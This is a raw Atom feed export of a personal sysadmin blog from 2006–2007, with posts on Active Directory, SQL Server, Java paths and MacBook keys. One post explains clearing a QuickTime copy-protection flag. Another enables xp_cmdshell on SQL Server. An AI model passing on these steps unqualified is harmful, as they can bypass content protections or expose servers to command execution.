Kubuntu'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5967991593721705952</id><published>2007-06-15T12:55:00.000Z</published><updated>2007-06-15T12:58:50.446Z</updated><title type='text'>AD Replication strangeness</title><content type='html'>Another very short note, after deploying 3 AD Servers, 1 as PDC and the others as BDCs, I couldnt get a BDC at another site to replicate the AD structures etc. &lt;br /&gt;Tried all the troubleshooting on the MS site (couldn't understand a lot of it but that will come with time and more experience) but I did remember this one tip.&lt;br /&gt;Whatever is the simplest explanation is usually the correct one.&lt;br /&gt;&lt;br /&gt;I had the subnet mask set incorrectly on the server that was causing the problem, a quick change of that to be 255.255.0.0 (rather than 255.0.0.0) and we were sorted and replicating happily.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5967991593721705952?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5967991593721705952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5967991593721705952' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5967991593721705952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5967991593721705952'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/06/ad-replication-strangeness.html' title='AD Replication strangeness'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-6547452148843134254</id><published>2007-05-31T19:52:00.001Z</published><updated>2007-05-31T19:52:51.291Z</updated><title type='text'>Windows Installer</title><content type='html'>Is a lying bastard.&lt;br /&gt;&lt;br /&gt;That is all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-6547452148843134254?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/6547452148843134254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=6547452148843134254' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6547452148843134254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6547452148843134254'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/05/windows-installer.html' title='Windows Installer'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-4666537076527708006</id><published>2007-04-06T10:10:00.000Z</published><updated>2007-04-06T10:12:51.839Z</updated><title type='text'>Kill-9</title><content type='html'>This is a rap about kill -9 from a CS Student at Stanford U.&lt;br /&gt;&lt;object style="font-family: trebuchet ms;" height="350" width="425"&gt;&lt;param name="movie" value="http://youtube.com/v/Fow7iUaKrq4"&gt;&lt;br /&gt;&lt;embed src="http://youtube.com/v/Fow7iUaKrq4" type="application/x-shockwave-flash" height="350" width="425"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;/object&gt;&lt;br /&gt;The full Lyrics can be got &lt;a href="http://www.monzy.com/intro/killdashnine_lyrics.html"&gt;here&lt;/a&gt; and the audio track is found &lt;a href="http://graphics.stanford.edu/%7Emonzy/KillDashNine.mp3"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-4666537076527708006?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/4666537076527708006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=4666537076527708006' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4666537076527708006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4666537076527708006'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/04/kill-9.html' title='Kill-9'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-6523302701261787573</id><published>2007-03-20T14:09:00.000Z</published><updated>2007-03-20T14:36:10.500Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='cheese'/><category scheme='http://www.blogger.com/atom/ns#' term='hair'/><category scheme='http://www.blogger.com/atom/ns#' term='cleaning'/><category scheme='http://www.blogger.com/atom/ns#' term='keycaps'/><category scheme='http://www.blogger.com/atom/ns#' term='keys'/><category scheme='http://www.blogger.com/atom/ns#' term='fluff'/><category scheme='http://www.blogger.com/atom/ns#' term='macbook'/><title type='text'>Cleaning macbook keys</title><content type='html'>Okay, first off, a bit of advice, DO NOT EAT A TOASTED CHEESE SANDWICH NEAR YOUR MACBOOK WHILST IT IS OPEN!&lt;br /&gt;I simply cannot stress this point enough, if I had paid attention to this it would have made my life much less complicated.&lt;br /&gt;&lt;br /&gt;Okay, so you have either a bit of hair, or a stringy bit of cheese under a keycap (in my case the 'B') the way to remove it is quite simple.&lt;br /&gt;Tools required:&lt;br /&gt;&lt;br /&gt;Mini swiss army knife (I used &lt;a href="http://www.victorinox.com/index.cfm?site=victorinox.ch&amp;page=176&amp;amp;lang=E"&gt;this&lt;/a&gt; one)&lt;br /&gt;Pin (not needle, you need the enamel head)&lt;br /&gt;&lt;br /&gt;Using the screwdriver blade, slide it under the keycap and prise it up &lt;span style="font-style: italic;"&gt;very &lt;/span&gt;gently, not enough to remove it but enough to see the small scissor mechanism.&lt;br /&gt;Use the tweezers or the toothpick to gently press in the scissor legs on the LEFT hand side of the key (on the edge facing you), it will move slightly and the key will pop up away from you, lift it up and slide it to the right to remove it from the clip.&lt;br /&gt;&lt;br /&gt;Now clean out all the crap under the key, I had a bit of cheese (see above) and a hair.&lt;br /&gt;&lt;br /&gt;Reinserting the key is a different story, its a hell of a lot more difficult! It took me a few goes at it before I had a brainwave. What you do is insert the pin between the legs of the scissor mechanism to prevent it closing. The head of the pin prevents it falling through so just let it sit whatever way it suits you.&lt;br /&gt;Line up the right hand leg/clip thing and slot it in to the left, then just drop the key in place and then press on it gently, making sure that it is lined up. It should click into place and you are now done!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-6523302701261787573?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/6523302701261787573/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=6523302701261787573' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6523302701261787573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6523302701261787573'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/03/cleaning-macbook-keys.html' title='Cleaning macbook keys'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-8235760838959159907</id><published>2007-03-16T11:09:00.000Z</published><updated>2007-03-16T11:43:20.068Z</updated><title type='text'>CFeclipse reporting Wrong J2SE Version</title><content type='html'>Having reinsatlled several machines I have come across a "feature" of the Oracle 9i Administrative Client, it does not play nice and adds its path variables to the start of the $PATH in windows.&lt;br /&gt;&lt;br /&gt;This led to much frustration as I *knew* that I had the right version (j2sdk 1.4.2 r10) and it was reporting 1.3.1. CFEclipse would not start and would bomb out with an error reporting an unsuitable java version.&lt;br /&gt;&lt;br /&gt;The simple fix to this was to simply add the correct JRE path before the Oracle JRE path. In the majority of my cases it was "C:\J2SDK1.4.2_13\jre\bin" then just run the CFEclipse.exe program and it works!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-8235760838959159907?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/8235760838959159907/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=8235760838959159907' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/8235760838959159907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/8235760838959159907'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/03/cfeclipse-reporting-wrong-j2se-version.html' title='CFeclipse reporting Wrong J2SE Version'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-4000537915262314214</id><published>2007-03-14T11:34:00.000Z</published><updated>2007-03-14T11:38:06.436Z</updated><title type='text'>Resize NTFS Partitions</title><content type='html'>Go and get Gparted &lt;a href="http://gparted.sourceforge.net/livecd.php"&gt;here&lt;/a&gt; and burn it out, its a linux LiveCD with the Gnome partition manager GParted so that you can resize NTFS partitions non-destructively!&lt;br /&gt;&lt;br /&gt;DO IT NOW!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-4000537915262314214?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/4000537915262314214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=4000537915262314214' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4000537915262314214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4000537915262314214'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/03/resize-ntfs-partitions.html' title='Resize NTFS Partitions'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1040813078560577870</id><published>2006-12-23T08:20:00.000Z</published><updated>2006-12-23T08:21:39.004Z</updated><title type='text'>KB925398 Security Update for Windows Media Player 6.4</title><content type='html'>&lt;span style="font-family: trebuchet ms;"&gt;This is another set of patches that has some sort of conflict with CYGWIN running SSHD. it is enough to stop the SSHD service when the updates "hang" on the windows media update.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1040813078560577870?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1040813078560577870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1040813078560577870' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1040813078560577870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1040813078560577870'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/12/kb925398-security-update-for-windows.html' title='KB925398 Security Update for Windows Media Player 6.4'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-701607336227897646</id><published>2006-12-21T14:32:00.000Z</published><updated>2006-12-21T14:33:36.512Z</updated><title type='text'>Fixing orphaned users in SQL 2000</title><content type='html'>&lt;span style="font-family: trebuchet ms;"&gt;Here it is as I keep forgetting how to do it and every time I google it I get a different result... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;Use db_name&lt;br /&gt;go&lt;br /&gt;sp_change_users_login 'update_one', 'user_name', 'user_name'&lt;br /&gt;      &lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-701607336227897646?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/701607336227897646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=701607336227897646' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/701607336227897646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/701607336227897646'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/12/fixing-orphaned-users-in-sql-2000.html' title='Fixing orphaned users in SQL 2000'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-121197867236175406</id><published>2006-12-21T13:27:00.000Z</published><updated>2006-12-21T13:34:35.009Z</updated><title type='text'>SQL 2005 full transaction log (Or how I almost cried)</title><content type='html'>&lt;span style="font-family: trebuchet ms;"&gt;Background:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;SQL 2005 Express Edition with a full transaction log, the normal procedure that I would use for this (a development environment) would be to detach the DB, rename the transaction log to "trans_log.ldf.old" or similar, reattach the DB and go about my normal business.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Not so today, what happened was that the transaction log hit the limit with users still attached, tried to kill them off a-la SQL 2000 enterprise manager using the detach GUI and then hitting the clear users button without actually detaching the DB (sly dog).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;This doesn't work in SQL 2005 (express edition at least) so I restarted the SQL2005EXPRESSservice and found that it had indeed detached the DB anyway.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;What I had to do to resolve this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Open up the "Attach Database" GUI window, select the transaction log in the lower pane and hit the remove button.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Hit the script button at the top&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Go back to Management Studio and run the new script.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Bish-bosh your DB is now re-attached.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;N.B. For some reason if you try to use the GUI window it barfs saying the transaction log is full, even if you have removed the transaction log .ldf from the database files...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-121197867236175406?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/121197867236175406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=121197867236175406' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/121197867236175406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/121197867236175406'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/12/sql-2005-full-transaction-log-or-how-i.html' title='SQL 2005 full transaction log (Or how I almost cried)'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-116058861702697393</id><published>2006-10-11T17:22:00.000Z</published><updated>2006-12-21T13:37:32.812Z</updated><title type='text'>Pound as a Proxy</title><content type='html'>&lt;span style="font-family:trebuchet ms;"&gt;We have been using Pound as a proxy to protect a ColdFusion Application server from the internet and limit its exposure to malicious traffic. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I think it is a very good system even though we aren't using it to its full potential yet,  from what I have read about it it is able to do load-balancing and clustering and other cool stuff.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;It can be a bit of a pain to get it to stop and start as a Daemon but other than that it is very good. It also handles the SSL for the servers behind it, as a standard Win32 Apache 2.0 installation doesn't come with the SSL component, any of the other servers that use SSL and Apache2/Win32 has to have an additional module added and configured, which to be honest is a bit of a pain.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;To get pound to do SSL, its a matter of installing openssl, generating your keys and CSRs and certificates, then putting the key and Certificate into one file with a .pem extension and pointing the pound config at it! Restart Pound and you are laughing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;A word of warning, make sure to match up the key to the certificate and that the key is not password protected (see this blog post for more info) as well as that you are not allowed to have any trailing spaces in the .pem file, it makes Pound barf and it is not at all easy to debug when you get the config wrong. A bit of a hint (in Debian at least) is that if Pound doesn't start correctly, the bash prompt will be on the same line as Pound Restarting like&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Pound Restarting:servername:/etc/init.d#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I found the above useful but other than that Pound is no help when it comes to finding out what is wrong.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-116058861702697393?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/116058861702697393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=116058861702697393' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/116058861702697393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/116058861702697393'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/10/pound-as-proxy.html' title='Pound as a Proxy'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-116006242427650693</id><published>2006-10-05T15:22:00.000Z</published><updated>2006-10-05T15:34:30.970Z</updated><title type='text'>Exporting Protected .mov files with Quicktime</title><content type='html'>&lt;span style="font-family:trebuchet ms;"&gt;As you have probably seen, there are several video clips on this blog of the Apple Ad Spoofs provided courtesy of youTube and the great fuys at www.truenuff.com.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I managed to get the real .mov files  by going into the source code for their page and downloading them using wget. I got a copy of Quicktime Pro 7 and realised that I could have these clips on my mobile if i could just export them as I had done plenty of times before for other files. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;What happened was a bit of a pain, the export and save as options were greyed out and unselectable. I did a bit of googling and found out about protected .mov files and here is how to make them "unprotected"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol style="font-family: trebuchet ms;"&gt;&lt;li&gt;Download "&lt;a href="ftp://ftp.apple.com/developer/Quicktime/Tools/Programmers_Tools/Dumpster.dmg"&gt;dumpster&lt;/a&gt;" from apple&lt;/li&gt;&lt;li&gt;Install it and run from your applications or utilities folder (doesnt matter where you put it) it looks like it doesnt do anything but if you check your dock there is a new icon there&lt;/li&gt;&lt;li&gt;make a copy of your .mov file (Justin Casey)&lt;/li&gt;&lt;li&gt;Drag the .mov file to the dumpster icon in the dock and a debug window will appear&lt;/li&gt;&lt;li&gt;Scroll right to the bottom and there will be a key called NSAV&lt;/li&gt;&lt;li&gt;Expand this and there will be two entries on one row $0000 and $0001&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Change the $0001 to $0000 and hit Apple + S or save the file in the menu.&lt;/li&gt;&lt;li&gt;Open up your new unprotected .mov file and your export/save options are now enabled!&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family:trebuchet ms;"&gt;this does open up the quasi-legal/moral issue of what to do (or not to do) with these files.&lt;br /&gt;I only unprotected it so I could view it on my phone and show other people, not to distribute it or profit from it in anyway, I think this is Fair Use but if anyone has a problem with it I will of course comply with any reasonable requests.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Keep up the good work Truenuff.com!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-116006242427650693?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/116006242427650693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=116006242427650693' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/116006242427650693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/116006242427650693'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/10/exporting-protected-mov-files-with.html' title='Exporting Protected .mov files with Quicktime'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-115616715076034928</id><published>2006-08-21T13:29:00.000Z</published><updated>2006-08-21T13:32:30.776Z</updated><title type='text'>What your Browser reveals about you</title><content type='html'>&lt;a style="font-family: trebuchet ms;" href="http://www.terminally-incoherent.com/blog/2006/08/19/what-does-your-browser-reveal-about-your-personality/"&gt;Here&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I use a mix of Safari, Firefox 1.5.0.x, Camino, IE 6.0 and Opera, I would try and use Camino normally but sometimes it breaks web pages and I have to open them in Safari/Firefox/Opera. I only use IE when absolutely necessary for testing page compatibility and I had IE 7 installed and took it out because it hurt my eyes. Think Opera V4 with bad icons....&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-115616715076034928?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/115616715076034928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=115616715076034928' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115616715076034928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/115616715076034928'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/08/what-your-browser-reveals-about-you.html' title='What your Browser reveals about you'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-115503782726623317</id><published>2006-08-08T11:33:00.001Z</published><updated>2008-10-06T06:15:23.328Z</updated><title type='text'>Automating SQL 2005 Express Edition Backups</title><content type='html'>&lt;span style="font-family: trebuchet ms;"&gt;SQL2005 Express Edition w/ Management Studio Express looks like it is a very nice DB and management console, it falls down in one place (that I can see) and that is it is missing the maintenance Wizard that was found on SQL 2000.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Now I cant complain as it is a free application and a small stored procedure can restore most of the functionality as regards backups.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Not all the procedures that are required are activated by default and it is very simple to re-activate them. simply copy and paste this code into a text editor and save it as c:/enableprocs.sql &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;sp_configure 'show advanced options', 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;RECONFIGURE;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;sp_configure 'Ole Automation Procedures', 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;RECONFIGURE;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;sp_configure 'xp_cmdshell', 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;RECONFIGURE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-style: italic;"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Now execute this command from a "run" prompt&lt;/span&gt;&lt;br /&gt;&lt;pre 